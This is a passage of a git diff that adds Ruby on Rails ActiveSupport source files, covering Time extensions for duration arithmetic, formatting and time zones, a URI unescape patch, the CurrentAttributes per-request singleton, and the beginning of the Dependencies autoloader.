+      sec: 59,
+      usec: Rational(999999999, 1000)
+    )
+  end
+  alias :at_end_of_minute :end_of_minute
+
+  def plus_with_duration(other) #:nodoc:
+    if ActiveSupport::Duration === other
+      other.since(self)
+    else
+      plus_without_duration(other)
+    end
+  end
+  alias_method :plus_without_duration, :+
+  alias_method :+, :plus_with_duration
+
+  def minus_with_duration(other) #:nodoc:
+    if ActiveSupport::Duration === other
+      other.until(self)
+    else
+      minus_without_duration(other)
+    end
+  end
+  alias_method :minus_without_duration, :-
+  alias_method :-, :minus_with_duration
+
+  # Time#- can also be used to determine the number of seconds between two Time instances.
+  # We're layering on additional behavior so that ActiveSupport::TimeWithZone instances
+  # are coerced into values that Time#- will recognize
+  def minus_with_coercion(other)
+    other = other.comparable_time if other.respond_to?(:comparable_time)
+    other.is_a?(DateTime) ? to_f - other.to_f : minus_without_coercion(other)
+  end
+  alias_method :minus_without_coercion, :-
+  alias_method :-, :minus_with_coercion
+
+  # Layers additional behavior on Time#<=> so that DateTime and ActiveSupport::TimeWithZone instances
+  # can be chronologically compared with a Time
+  def compare_with_coercion(other)
+    # we're avoiding Time#to_datetime and Time#to_time because they're expensive
+    if other.class == Time
+      compare_without_coercion(other)
+    elsif other.is_a?(Time)
+      compare_without_coercion(other.to_time)
+    else
+      to_datetime <=> other
+    end
+  end
+  alias_method :compare_without_coercion, :<=>
+  alias_method :<=>, :compare_with_coercion
+
+  # Layers additional behavior on Time#eql? so that ActiveSupport::TimeWithZone instances
+  # can be eql? to an equivalent Time
+  def eql_with_coercion(other)
+    # if other is an ActiveSupport::TimeWithZone, coerce a Time instance from it so we can do eql? comparison
+    other = other.comparable_time if other.respond_to?(:comparable_time)
+    eql_without_coercion(other)
+  end
+  alias_method :eql_without_coercion, :eql?
+  alias_method :eql?, :eql_with_coercion
+end
diff --git a/activesupport/lib/active_support/core_ext/time/compatibility.rb b/activesupport/lib/active_support/core_ext/time/compatibility.rb
new file mode 100644
index 0000000000..93840e93ca
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/time/compatibility.rb
@@ -0,0 +1,16 @@
+# frozen_string_literal: true
+
+require_relative "../date_and_time/compatibility"
+require_relative "../module/remove_method"
+
+class Time
+  include DateAndTime::Compatibility
+
+  remove_possible_method :to_time
+
+  # Either return +self+ or the time in the local system timezone depending
+  # on the setting of +ActiveSupport.to_time_preserves_timezone+.
+  def to_time
+    preserve_timezone ? self : getlocal
+  end
+end
diff --git a/activesupport/lib/active_support/core_ext/time/conversions.rb b/activesupport/lib/active_support/core_ext/time/conversions.rb
new file mode 100644
index 0000000000..e3fc930ef6
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/time/conversions.rb
@@ -0,0 +1,72 @@
+# frozen_string_literal: true
+
+require_relative "../../inflector/methods"
+require_relative "../../values/time_zone"
+
+class Time
+  DATE_FORMATS = {
+    db: "%Y-%m-%d %H:%M:%S",
+    number: "%Y%m%d%H%M%S",
+    nsec: "%Y%m%d%H%M%S%9N",
+    usec: "%Y%m%d%H%M%S%6N",
+    time: "%H:%M",
+    short: "%d %b %H:%M",
+    long: "%B %d, %Y %H:%M",
+    long_ordinal: lambda { |time|
+      day_format = ActiveSupport::Inflector.ordinalize(time.day)
+      time.strftime("%B #{day_format}, %Y %H:%M")
+    },
+    rfc822: lambda { |time|
+      offset_format = time.formatted_offset(false)
+      time.strftime("%a, %d %b %Y %H:%M:%S #{offset_format}")
+    },
+    iso8601: lambda { |time| time.iso8601 }
+  }
+
+  # Converts to a formatted string. See DATE_FORMATS for built-in formats.
+  #
+  # This method is aliased to <tt>to_s</tt>.
+  #
+  #   time = Time.now                    # => 2007-01-18 06:10:17 -06:00
+  #
+  #   time.to_formatted_s(:time)         # => "06:10"
+  #   time.to_s(:time)                   # => "06:10"
+  #
+  #   time.to_formatted_s(:db)           # => "2007-01-18 06:10:17"
+  #   time.to_formatted_s(:number)       # => "20070118061017"
+  #   time.to_formatted_s(:short)        # => "18 Jan 06:10"
+  #   time.to_formatted_s(:long)         # => "January 18, 2007 06:10"
+  #   time.to_formatted_s(:long_ordinal) # => "January 18th, 2007 06:10"
+  #   time.to_formatted_s(:rfc822)       # => "Thu, 18 Jan 2007 06:10:17 -0600"
+  #   time.to_formatted_s(:iso8601)      # => "2007-01-18T06:10:17-06:00"
+  #
+  # == Adding your own time formats to +to_formatted_s+
+  # You can add your own formats to the Time::DATE_FORMATS hash.
+  # Use the format name as the hash key and either a strftime string
+  # or Proc instance that takes a time argument as the value.
+  #
+  #   # config/initializers/time_formats.rb
+  #   Time::DATE_FORMATS[:month_and_year] = '%B %Y'
+  #   Time::DATE_FORMATS[:short_ordinal]  = ->(time) { time.strftime("%B #{time.day.ordinalize}") }
+  def to_formatted_s(format = :default)
+    if formatter = DATE_FORMATS[format]
+      formatter.respond_to?(:call) ? formatter.call(self).to_s : strftime(formatter)
+    else
+      to_default_s
+    end
+  end
+  alias_method :to_default_s, :to_s
+  alias_method :to_s, :to_formatted_s
+
+  # Returns a formatted string of the offset from UTC, or an alternative
+  # string if the time zone is already UTC.
+  #
+  #   Time.local(2000).formatted_offset        # => "-06:00"
+  #   Time.local(2000).formatted_offset(false) # => "-0600"
+  def formatted_offset(colon = true, alternate_utc_string = nil)
+    utc? && alternate_utc_string || ActiveSupport::TimeZone.seconds_to_utc_offset(utc_offset, colon)
+  end
+
+  # Aliased to +xmlschema+ for compatibility with +DateTime+
+  alias_method :rfc3339, :xmlschema
+end
diff --git a/activesupport/lib/active_support/core_ext/time/zones.rb b/activesupport/lib/active_support/core_ext/time/zones.rb
new file mode 100644
index 0000000000..c48edb135f
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/time/zones.rb
@@ -0,0 +1,113 @@
+# frozen_string_literal: true
+
+require_relative "../../time_with_zone"
+require_relative "acts_like"
+require_relative "../date_and_time/zones"
+
+class Time
+  include DateAndTime::Zones
+  class << self
+    attr_accessor :zone_default
+
+    # Returns the TimeZone for the current request, if this has been set (via Time.zone=).
+    # If <tt>Time.zone</tt> has not been set for the current request, returns the TimeZone specified in <tt>config.time_zone</tt>.
+    def zone
+      Thread.current[:time_zone] || zone_default
+    end
+
+    # Sets <tt>Time.zone</tt> to a TimeZone object for the current request/thread.
+    #
+    # This method accepts any of the following:
+    #
+    # * A Rails TimeZone object.
+    # * An identifier for a Rails TimeZone object (e.g., "Eastern Time (US & Canada)", <tt>-5.hours</tt>).
+    # * A TZInfo::Timezone object.
+    # * An identifier for a TZInfo::Timezone object (e.g., "America/New_York").
+    #
+    # Here's an example of how you might set <tt>Time.zone</tt> on a per request basis and reset it when the request is done.
+    # <tt>current_user.time_zone</tt> just needs to return a string identifying the user's preferred time zone:
+    #
+    #   class ApplicationController < ActionController::Base
+    #     around_action :set_time_zone
+    #
+    #     def set_time_zone
+    #       if logged_in?
+    #         Time.use_zone(current_user.time_zone) { yield }
+    #       else
+    #         yield
+    #       end
+    #     end
+    #   end
+    def zone=(time_zone)
+      Thread.current[:time_zone] = find_zone!(time_zone)
+    end
+
+    # Allows override of <tt>Time.zone</tt> locally inside supplied block;
+    # resets <tt>Time.zone</tt> to existing value when done.
+    #
+    #   class ApplicationController < ActionController::Base
+    #     around_action :set_time_zone
+    #
+    #     private
+    #
+    #     def set_time_zone
+    #       Time.use_zone(current_user.timezone) { yield }
+    #     end
+    #   end
+    #
+    #  NOTE: This won't affect any <tt>ActiveSupport::TimeWithZone</tt>
+    #  objects that have already been created, e.g. any model timestamp
+    #  attributes that have been read before the block will remain in
+    #  the application's default timezone.
+    def use_zone(time_zone)
+      new_zone = find_zone!(time_zone)
+      begin
+        old_zone, ::Time.zone = ::Time.zone, new_zone
+        yield
+      ensure
+        ::Time.zone = old_zone
+      end
+    end
+
+    # Returns a TimeZone instance matching the time zone provided.
+    # Accepts the time zone in any format supported by <tt>Time.zone=</tt>.
+    # Raises an +ArgumentError+ for invalid time zones.
+    #
+    #   Time.find_zone! "America/New_York" # => #<ActiveSupport::TimeZone @name="America/New_York" ...>
+    #   Time.find_zone! "EST"              # => #<ActiveSupport::TimeZone @name="EST" ...>
+    #   Time.find_zone! -5.hours           # => #<ActiveSupport::TimeZone @name="Bogota" ...>
+    #   Time.find_zone! nil                # => nil
+    #   Time.find_zone! false              # => false
+    #   Time.find_zone! "NOT-A-TIMEZONE"   # => ArgumentError: Invalid Timezone: NOT-A-TIMEZONE
+    def find_zone!(time_zone)
+      if !time_zone || time_zone.is_a?(ActiveSupport::TimeZone)
+        time_zone
+      else
+        # Look up the timezone based on the identifier (unless we've been
+        # passed a TZInfo::Timezone)
+        unless time_zone.respond_to?(:period_for_local)
+          time_zone = ActiveSupport::TimeZone[time_zone] || TZInfo::Timezone.get(time_zone)
+        end
+
+        # Return if a TimeZone instance, or wrap in a TimeZone instance if a TZInfo::Timezone
+        if time_zone.is_a?(ActiveSupport::TimeZone)
+          time_zone
+        else
+          ActiveSupport::TimeZone.create(time_zone.name, nil, time_zone)
+        end
+      end
+    rescue TZInfo::InvalidTimezoneIdentifier
+      raise ArgumentError, "Invalid Timezone: #{time_zone}"
+    end
+
+    # Returns a TimeZone instance matching the time zone provided.
+    # Accepts the time zone in any format supported by <tt>Time.zone=</tt>.
+    # Returns +nil+ for invalid time zones.
+    #
+    #   Time.find_zone "America/New_York" # => #<ActiveSupport::TimeZone @name="America/New_York" ...>
+    #   Time.find_zone "NOT-A-TIMEZONE"   # => nil
+    def find_zone(time_zone)
+      find_zone!(time_zone) rescue nil
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/core_ext/uri.rb b/activesupport/lib/active_support/core_ext/uri.rb
new file mode 100644
index 0000000000..60fc7f084f
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/uri.rb
@@ -0,0 +1,26 @@
+# frozen_string_literal: true
+
+require "uri"
+str = "\xE6\x97\xA5\xE6\x9C\xAC\xE8\xAA\x9E" # Ni-ho-nn-go in UTF-8, means Japanese.
+parser = URI::Parser.new
+
+unless str == parser.unescape(parser.escape(str))
+  URI::Parser.class_eval do
+    remove_method :unescape
+    def unescape(str, escaped = /%[a-fA-F\d]{2}/)
+      # TODO: Are we actually sure that ASCII == UTF-8?
+      # YK: My initial experiments say yes, but let's be sure please
+      enc = str.encoding
+      enc = Encoding::UTF_8 if enc == Encoding::US_ASCII
+      str.gsub(escaped) { |match| [match[1, 2].hex].pack("C") }.force_encoding(enc)
+    end
+  end
+end
+
+module URI
+  class << self
+    def parser
+      @parser ||= URI::Parser.new
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/current_attributes.rb b/activesupport/lib/active_support/current_attributes.rb
new file mode 100644
index 0000000000..9ab1546064
--- /dev/null
+++ b/activesupport/lib/active_support/current_attributes.rb
@@ -0,0 +1,195 @@
+# frozen_string_literal: true
+
+module ActiveSupport
+  # Abstract super class that provides a thread-isolated attributes singleton, which resets automatically
+  # before and after each request. This allows you to keep all the per-request attributes easily
+  # available to the whole system.
+  #
+  # The following full app-like example demonstrates how to use a Current class to
+  # facilitate easy access to the global, per-request attributes without passing them deeply
+  # around everywhere:
+  #
+  #   # app/models/current.rb
+  #   class Current < ActiveSupport::CurrentAttributes
+  #     attribute :account, :user
+  #     attribute :request_id, :user_agent, :ip_address
+  #
+  #     resets { Time.zone = nil }
+  #
+  #     def user=(user)
+  #       super
+  #       self.account = user.account
+  #       Time.zone    = user.time_zone
+  #     end
+  #   end
+  #
+  #   # app/controllers/concerns/authentication.rb
+  #   module Authentication
+  #     extend ActiveSupport::Concern
+  #
+  #     included do
+  #       before_action :authenticate
+  #     end
+  #
+  #     private
+  #       def authenticate
+  #         if authenticated_user = User.find_by(id: cookies.signed[:user_id])
+  #           Current.user = authenticated_user
+  #         else
+  #           redirect_to new_session_url
+  #         end
+  #       end
+  #   end
+  #
+  #   # app/controllers/concerns/set_current_request_details.rb
+  #   module SetCurrentRequestDetails
+  #     extend ActiveSupport::Concern
+  #
+  #     included do
+  #       before_action do
+  #         Current.request_id = request.uuid
+  #         Current.user_agent = request.user_agent
+  #         Current.ip_address = request.ip
+  #       end
+  #     end
+  #   end
+  #
+  #   class ApplicationController < ActionController::Base
+  #     include Authentication
+  #     include SetCurrentRequestDetails
+  #   end
+  #
+  #   class MessagesController < ApplicationController
+  #     def create
+  #       Current.account.messages.create(message_params)
+  #     end
+  #   end
+  #
+  #   class Message < ApplicationRecord
+  #     belongs_to :creator, default: -> { Current.user }
+  #     after_create { |message| Event.create(record: message) }
+  #   end
+  #
+  #   class Event < ApplicationRecord
+  #     before_create do
+  #       self.request_id = Current.request_id
+  #       self.user_agent = Current.user_agent
+  #       self.ip_address = Current.ip_address
+  #     end
+  #   end
+  #
+  # A word of caution: It's easy to overdo a global singleton like Current and tangle your model as a result.
+  # Current should only be used for a few, top-level globals, like account, user, and request details.
+  # The attributes stuck in Current should be used by more or less all actions on all requests. If you start
+  # sticking controller-specific attributes in there, you're going to create a mess.
+  class CurrentAttributes
+    include ActiveSupport::Callbacks
+    define_callbacks :reset
+
+    class << self
+      # Returns singleton instance for this class in this thread. If none exists, one is created.
+      def instance
+        current_instances[name] ||= new
+      end
+
+      # Declares one or more attributes that will be given both class and instance accessor methods.
+      def attribute(*names)
+        generated_attribute_methods.module_eval do
+          names.each do |name|
+            define_method(name) do
+              attributes[name.to_sym]
+            end
+
+            define_method("#{name}=") do |attribute|
+              attributes[name.to_sym] = attribute
+            end
+          end
+        end
+
+        names.each do |name|
+          define_singleton_method(name) do
+            instance.public_send(name)
+          end
+
+          define_singleton_method("#{name}=") do |attribute|
+            instance.public_send("#{name}=", attribute)
+          end
+        end
+      end
+
+      # Calls this block after #reset is called on the instance. Used for resetting external collaborators, like Time.zone.
+      def resets(&block)
+        set_callback :reset, :after, &block
+      end
+
+      delegate :set, :reset, to: :instance
+
+      def reset_all # :nodoc:
+        current_instances.each_value(&:reset)
+      end
+
+      def clear_all # :nodoc:
+        reset_all
+        current_instances.clear
+      end
+
+      private
+        def generated_attribute_methods
+          @generated_attribute_methods ||= Module.new.tap { |mod| include mod }
+        end
+
+        def current_instances
+          Thread.current[:current_attributes_instances] ||= {}
+        end
+
+        def method_missing(name, *args, &block)
+          # Caches the method definition as a singleton method of the receiver.
+          #
+          # By letting #delegate handle it, we avoid an enclosure that'll capture args.
+          singleton_class.delegate name, to: :instance
+
+          send(name, *args, &block)
+        end
+    end
+
+    attr_accessor :attributes
+
+    def initialize
+      @attributes = {}
+    end
+
+    # Expose one or more attributes within a block. Old values are returned after the block concludes.
+    # Example demonstrating the common use of needing to set Current attributes outside the request-cycle:
+    #
+    #   class Chat::PublicationJob < ApplicationJob
+    #     def perform(attributes, room_number, creator)
+    #       Current.set(person: creator) do
+    #         Chat::Publisher.publish(attributes: attributes, room_number: room_number)
+    #       end
+    #     end
+    #   end
+    def set(set_attributes)
+      old_attributes = compute_attributes(set_attributes.keys)
+      assign_attributes(set_attributes)
+      yield
+    ensure
+      assign_attributes(old_attributes)
+    end
+
+    # Reset all attributes. Should be called before and after actions, when used as a per-request singleton.
+    def reset
+      run_callbacks :reset do
+        self.attributes = {}
+      end
+    end
+
+    private
+      def assign_attributes(new_attributes)
+        new_attributes.each { |key, value| public_send("#{key}=", value) }
+      end
+
+      def compute_attributes(keys)
+        keys.collect { |key| [ key, public_send(key) ] }.to_h
+      end
+  end
+end
diff --git a/activesupport/lib/active_support/dependencies.rb b/activesupport/lib/active_support/dependencies.rb
new file mode 100644
index 0000000000..3ffe21e559
--- /dev/null
+++ b/activesupport/lib/active_support/dependencies.rb
@@ -0,0 +1,744 @@
+# frozen_string_literal: true
+
+require "set"
+require "thread"
+require "concurrent/map"
+require "pathname"
+require_relative "core_ext/module/aliasing"
+require_relative "core_ext/module/attribute_accessors"
+require_relative "core_ext/module/introspection"
+require_relative "core_ext/module/anonymous"
+require_relative "core_ext/object/blank"
+require_relative "core_ext/kernel/reporting"
+require_relative "core_ext/load_error"
+require_relative "core_ext/name_error"
+require_relative "core_ext/string/starts_ends_with"
+require_relative "dependencies/interlock"
+require_relative "inflector"
+
+module ActiveSupport #:nodoc:
+  module Dependencies #:nodoc:
+    extend self
+
+    mattr_accessor :interlock, default: Interlock.new
+
+    # :doc:
+
+    # Execute the supplied block without interference from any
+    # concurrent loads.
+    def self.run_interlock
+      Dependencies.interlock.running { yield }
+    end
+
+    # Execute the supplied block while holding an exclusive lock,
+    # preventing any other thread from being inside a #run_interlock
+    # block at the same time.
+    def self.load_interlock
+      Dependencies.interlock.loading { yield }
+    end
+
+    # Execute the supplied block while holding an exclusive lock,
+    # preventing any other thread from being inside a #run_interlock
+    # block at the same time.
+    def self.unload_interlock
+      Dependencies.interlock.unloading { yield }
+    end
+
+    # :nodoc:
+
+    # Should we turn on Ruby warnings on the first load of dependent files?
+    mattr_accessor :warnings_on_first_load, default: false
+
+    # All files ever loaded.
+    mattr_accessor :history, default: Set.new
+
+    # All files currently loaded.
+    mattr_accessor :loaded, default: Set.new
+
+    # Stack of files being loaded.
+    mattr_accessor :loading, default: []
+
+    # Should we load files or require them?
+    mattr_accessor :mechanism, default: ENV["NO_RELOAD"] ? :require : :load
+
+    # The set of directories from which we may automatically load files. Files
+    # under these directories will be reloaded on each request in development mode,
+    # unless the directory also appears in autoload_once_paths.
+    mattr_accessor :autoload_paths, default: []
+
+    # The set of directories from which automatically loaded constants are loaded
+    # only once. All directories in this set must also be present in +autoload_paths+.
+    mattr_accessor :autoload_once_paths, default: []
+
+    # An array of qualified constant names that have been loaded. Adding a name
+    # to this array will cause it to be unloaded the next time Dependencies are
+    # cleared.
+    mattr_accessor :autoloaded_constants, default: []
+
+    # An array of constant names that need to be unloaded on every request. Used
+    # to allow arbitrary constants to be marked for unloading.
+    mattr_accessor :explicitly_unloadable_constants, default: []
+
+    # The WatchStack keeps a stack of the modules being watched as files are
+    # loaded. If a file in the process of being loaded (parent.rb) triggers the
+    # load of another file (child.rb) the stack will ensure that child.rb
+    # handles the new constants.
+    #
+    # If child.rb is being autoloaded, its constants will be added to
+    # autoloaded_constants. If it was being `require`d, they will be discarded.
+    #
+    # This is handled by walking back up the watch stack and adding the constants
+    # found by child.rb to the list of original constants in parent.rb.
+    class WatchStack
+      include Enumerable
+
+      # @watching is a stack of lists of constants being watched. For instance,
+      # if parent.rb is autoloaded, the stack will look like [[Object]]. If
+      # parent.rb then requires namespace/child.rb, the stack will look like
+      # [[Object], [Namespace]].
+
+      def initialize
+        @watching = []
+        @stack = Hash.new { |h, k| h[k] = [] }
+      end
+
+      def each(&block)
+        @stack.each(&block)
+      end
+
+      def watching?
+        !@watching.empty?
+      end
+
+      # Returns a list of new constants found since the last call to
+      # <tt>watch_namespaces</tt>.
+      def new_constants
+        constants = []
+
+        # Grab the list of namespaces that we're looking for new constants under
+        @watching.last.each do |namespace|
+          # Retrieve the constants that were present under the namespace when watch_namespaces
+          # was originally called
+          original_constants = @stack[namespace].last
+
+          mod = Inflector.constantize(namespace) if Dependencies.qualified_const_defined?(namespace)
+          next unless mod.is_a?(Module)
+
+          # Get a list of the constants that were added
+          new_constants = mod.constants(false) - original_constants
+
+          # @stack[namespace] returns an Array of the constants that are being evaluated
+          # for that namespace. For instance, if parent.rb requires child.rb, the first
+          # element of @stack[Object] will be an Array of the constants that were present
+          # before parent.rb was required. The second element will be an Array of the
+          # constants that were present before child.rb was required.
+          @stack[namespace].each do |namespace_constants|
+            namespace_constants.concat(new_constants)
+          end
+
+          # Normalize the list of new constants, and add them to the list we will return
+          new_constants.each do |suffix|
+            constants << ([namespace, suffix] - ["Object"]).join("::".freeze)
+          end
+        end
+        constants
+      ensure
+        # A call to new_constants is always called after a call to watch_namespaces
+        pop_modules(@watching.pop)
+      end
+
+      # Add a set of modules to the watch stack, remembering the initial
+      # constants.
+      def watch_namespaces(namespaces)
+        @watching << namespaces.map do |namespace|
+          module_name = Dependencies.to_constant_name(namespace)
+          original_constants = Dependencies.qualified_const_defined?(module_name) ?
+            Inflector.constantize(module_name).constants(false) : []
+
+          @stack[module_name] << original_constants
+          module_name
+        end
+      end
+
+      private
+        def pop_modules(modules)
+          modules.each { |mod| @stack[mod].pop }
+        end
+    end
+
+    # An internal stack used to record which constants are loaded by any block.
+    mattr_accessor :constant_watch_stack, default: WatchStack.new
+
+    # Module includes this module.
+    module ModuleConstMissing #:nodoc:
+      def self.append_features(base)
+        base.class_eval do
+          # Emulate #exclude via an ivar
+          return if defined?(@_const_missing) && @_const_missing
+          @_const_missing = instance_method(:const_missing)
+          remove_method(:const_missing)
+        end
+        super
+      end
+
+      def self.exclude_from(base)
+        base.class_eval do
+          define_method :const_missing, @_const_missing
+          @_const_missing = nil
+        end
+      end
+
+      def const_missing(const_name)
+        from_mod = anonymous? ? guess_for_anonymous(const_name) : self
+        Dependencies.load_missing_constant(from_mod, const_name)
+      end
+
+      # We assume that the name of the module reflects the nesting
+      # (unless it can be proven that is not the case) and the path to the file
+      # that defines the constant. Anonymous modules cannot follow these
+      # conventions and therefore we assume that the user wants to refer to a
+      # top-level constant.
+      def guess_for_anonymous(const_name)
+        if Object.const_defined?(const_name)
+          raise NameError.new "#{const_name} cannot be autoloaded from an anonymous class or module", const_name
+        else
+          Object
+        end
+      end
+
+      def unloadable(const_desc = self)
+        super(const_desc)
+      end
+    end
+
+    # Object includes this module.
+    module Loadable #:nodoc:
+      def self.exclude_from(base)
+        base.class_eval do
+          define_method(:load, Kernel.instance_method(:load))
+          private :load
+        end
+      end
+
+      def require_or_load(file_name)
+        Dependencies.require_or_load(file_name)
+      end
+
+      # Interprets a file using <tt>mechanism</tt> and marks its defined
+      # constants as autoloaded. <tt>file_name</tt> can be either a string or
+      # respond to <tt>to_path</tt>.
+      #
+      # Use this method in code that absolutely needs a certain constant to be
+      # defined at that point. A typical use case is to make constant name
+      # resolution deterministic for constants with the same relative name in
+      # different namespaces whose evaluation would depend on load order
+      # otherwise.
+      def require_dependency(file_name, message = "No such file to load -- %s.rb")
+        file_name = file_name.to_path if file_name.respond_to?(:to_path)
+        unless file_name.is_a?(String)
+          raise ArgumentError, "the file name must either be a String or implement #to_path -- you passed #{file_name.inspect}"
+        end
+
+        Dependencies.depend_on(file_name, message)
+      end
+
+      def load_dependency(file)
+        if Dependencies.load? && Dependencies.constant_watch_stack.watching?
+          Dependencies.new_constants_in(Object) { yield }
+        else
+          yield
+        end
+      rescue Exception => exception  # errors from loading file
+        exception.blame_file! file if exception.respond_to? :blame_file!
+        raise
+      end
+
+      # Mark the given constant as unloadable. Unloadable constants are removed
+      # each time dependencies are cleared.
+      #
+      # Note that marking a constant for unloading need only be done once. Setup
+      # or init scripts may list each unloadable constant that may need unloading;
+      # each constant will be removed for every subsequent clear, as opposed to
+      # for the first clear.
+      #
+      # The provided constant descriptor may be a (non-anonymous) module or class,
+      # or a qualified constant name as a string or symbol.
+      #
+      # Returns +true+ if the constant was not previously marked for unloading,
+      # +false+ otherwise.
+      def unloadable(const_desc)
+        Dependencies.mark_for_unload const_desc
+      end
+
+      private
+
+        def load(file, wrap = false)
+          result = false
+          load_dependency(file) { result = super }
+          result
+        end
+
+        def require(file)
+          result = false
+          load_dependency(file) { result = super }
+          result
+        end
+    end
+
+    # Exception file-blaming.
+    module Blamable #:nodoc:
+      def blame_file!(file)
+        (@blamed_files ||= []).unshift file
+      end
+
+      def blamed_files
+        @blamed_files ||= []
+      end
+
+      def describe_blame
+        return nil if blamed_files.empty?
+        "This error occurred while loading the following files:\n   #{blamed_files.join "\n   "}"
+      end
+
+      def copy_blame!(exc)
+        @blamed_files = exc.blamed_files.clone
+        self
+      end
+    end
+
+    def hook!
+      Object.class_eval { include Loadable }
+      Module.class_eval { include ModuleConstMissing }
+      Exception.class_eval { include Blamable }
+    end
+
+    def unhook!
+      ModuleConstMissing.exclude_from(Module)
+      Loadable.exclude_from(Object)
+    end
+
+    def load?
+      mechanism == :load
+    end
+
+    def depend_on(file_name, message = "No such file to load -- %s.rb")
+      path = search_for_file(file_name)
+      require_or_load(path || file_name)
+    rescue LoadError => load_error
+      if file_name = load_error.message[/ -- (.*?)(\.rb)?$/, 1]
+        load_error.message.replace(message % file_name)
+        load_error.copy_blame!(load_error)
+      end
+      raise
+    end
+
+    def clear
+      Dependencies.unload_interlock do
+        loaded.clear
+        loading.clear
+        remove_unloadable_constants!
+      end
+    end
+
+    def require_or_load(file_name, const_path = nil)
+      file_name = $` if file_name =~ /\.rb\z/
+      expanded = File.expand_path(file_name)
+      return if loaded.include?(expanded)
+
+      Dependencies.load_interlock do
+        # Maybe it got loaded while we were waiting for our lock:
+        return if loaded.include?(expanded)
+
+        # Record that we've seen this file *before* loading it to avoid an
+        # infinite loop with mutual dependencies.
+        loaded << expanded
+        loading << expanded
+
+        begin
+          if load?
+            # Enable warnings if this file has not been loaded before and
+            # warnings_on_first_load is set.
+            load_args = ["#{file_name}.rb"]
+            load_args << const_path unless const_path.nil?
+
+            if !warnings_on_first_load || history.include?(expanded)
+              result = load_file(*load_args)
+            else
+              enable_warnings { result = load_file(*load_args) }
+            end
+          else
+            result = require file_name
+          end
+        rescue Exception
+          loaded.delete expanded
+          raise
+        ensure
+          loading.pop
+        end
+
+        # Record history *after* loading so first load gets warnings.
+        history << expanded
+        result
+      end
+    end
+
+    # Is the provided constant path defined?
+    def qualified_const_defined?(path)
+      Object.const_defined?(path, false)
+    end
+
+    # Given +path+, a filesystem path to a ruby file, return an array of
+    # constant paths which would cause Dependencies to attempt to load this
+    # file.
+    def loadable_constants_for_path(path, bases = autoload_paths)
+      path = $` if path =~ /\.rb\z/
+      expanded_path = File.expand_path(path)
+      paths = []
+
+      bases.each do |root|
+        expanded_root = File.expand_path(root)
+        next unless expanded_path.start_with?(expanded_root)
+
+        root_size = expanded_root.size
+        next if expanded_path[root_size] != ?/.freeze
+
+        nesting = expanded_path[(root_size + 1)..-1]
+        paths << nesting.camelize unless nesting.blank?
+      end
+
+      paths.uniq!
+      paths
+    end
+
+    # Search for a file in autoload_paths matching the provided suffix.
+    def search_for_file(path_suffix)
+      path_suffix = path_suffix.sub(/(\.rb)?$/, ".rb".freeze)
+
+      autoload_paths.each do |root|
+        path = File.join(root, path_suffix)
+        return path if File.file? path
+      end
+      nil # Gee, I sure wish we had first_match ;-)
+    end
+
+    # Does the provided path_suffix correspond to an autoloadable module?
+    # Instead of returning a boolean, the autoload base for this module is
+    # returned.
+    def autoloadable_module?(path_suffix)
+      autoload_paths.each do |load_path|
+        return load_path if File.directory? File.join(load_path, path_suffix)
+      end
+      nil
+    end
+
+    def load_once_path?(path)
+      # to_s works around a ruby issue where String#starts_with?(Pathname)
+      # will raise a TypeError: no implicit conversion of Pathname into String
+      autoload_once_paths.any? { |base| path.starts_with? base.to_s }
+    end
+
+    # Attempt to autoload the provided module name by searching for a directory
+    # matching the expected path suffix. If found, the module is created and
+    # assigned to +into+'s constants with the name +const_name+. Provided that
+    # the directory was loaded from a reloadable base path, it is added to the
+    # set of constants that are to be unloaded.
+    def autoload_module!(into, const_name, qualified_name, path_suffix)
+      return nil unless base_path = autoloadable_module?(path_suffix)
+      mod = Module.new
+      into.const_set const_name, mod
+      autoloaded_constants << qualified_name unless autoload_once_paths.include?(base_path)
+      mod
+    end
+
+    # Load the file at the provided path. +const_paths+ is a set of qualified
+    # constant names. When loading the file, Dependencies will watch for the
+    # addition of these constants. Each that is defined will be marked as
+    # autoloaded, and will be removed when Dependencies.clear is next called.
+    #
+    # If the second parameter is left off, then Dependencies will construct a
+    # set of names that the file at +path+ may define. See
+    # +loadable_constants_for_path+ for more details.
+    def load_file(path, const_paths = loadable_constants_for_path(path))
+      const_paths = [const_paths].compact unless const_paths.is_a? Array
+      parent_paths = const_paths.collect { |const_path| const_path[/.*(?=::)/] || ::Object }
+
+      result = nil
+      newly_defined_paths = new_constants_in(*parent_paths) do
+        result = Kernel.load path
+      end
+
+      autoloaded_constants.concat newly_defined_paths unless load_once_path?(path)
+      autoloaded_constants.uniq!
+      result
+    end
+
+    # Returns the constant path for the provided parent and constant name.
+    def qualified_name_for(mod, name)
+      mod_name = to_constant_name mod
+      mod_name == "Object" ? name.to_s : "#{mod_name}::#{name}"
+    end
+
+    # Load the constant named +const_name+ which is missing from +from_mod+. If
+    # it is not possible to load the constant into from_mod, try its parent
+    # module using +const_missing+.
+    def load_missing_constant(from_mod, const_name)
+      unless qualified_const_defined?(from_mod.name) && Inflector.constantize(from_mod.name).equal?(from_mod)
+        raise ArgumentError, "A copy of #{from_mod} has been removed from the module tree but is still active!"
+      end
+
+      qualified_name = qualified_name_for from_mod, const_name
+      path_suffix = qualified_name.underscore
+
+      file_path = search_for_file(path_suffix)
+
+      if file_path
+        expanded = File.expand_path(file_path)
+        expanded.sub!(/\.rb\z/, "".freeze)
+
+        if loading.include?(expanded)
+          raise "Circular dependency detected while autoloading constant #{qualified_name}"
+        else
+          require_or_load(expanded, qualified_name)
+          raise LoadError, "Unable to autoload constant #{qualified_name}, expected #{file_path} to define it" unless from_mod.const_defined?(const_name, false)
+          return from_mod.const_get(const_name)
+        end
+      elsif mod = autoload_module!(from_mod, const_name, qualified_name, path_suffix)
+        return mod
+      elsif (parent = from_mod.parent) && parent != from_mod &&
+            ! from_mod.parents.any? { |p| p.const_defined?(const_name, false) }
+        # If our parents do not have a constant named +const_name+ then we are free
+        # to attempt to load upwards. If they do have such a constant, then this
+        # const_missing must be due to from_mod::const_name, which should not
+        # return constants from from_mod's parents.
+        begin
+          # Since Ruby does not pass the nesting at the point the unknown
+          # constant triggered the callback we cannot fully emulate constant
+          # name lookup and need to make a trade-off: we are going to assume
+          # that the nesting in the body of Foo::Bar is [Foo::Bar, Foo] even
+          # though it might not be. Counterexamples are
+          #
+          #   class Foo::Bar
+          #     Module.nesting # => [Foo::Bar]
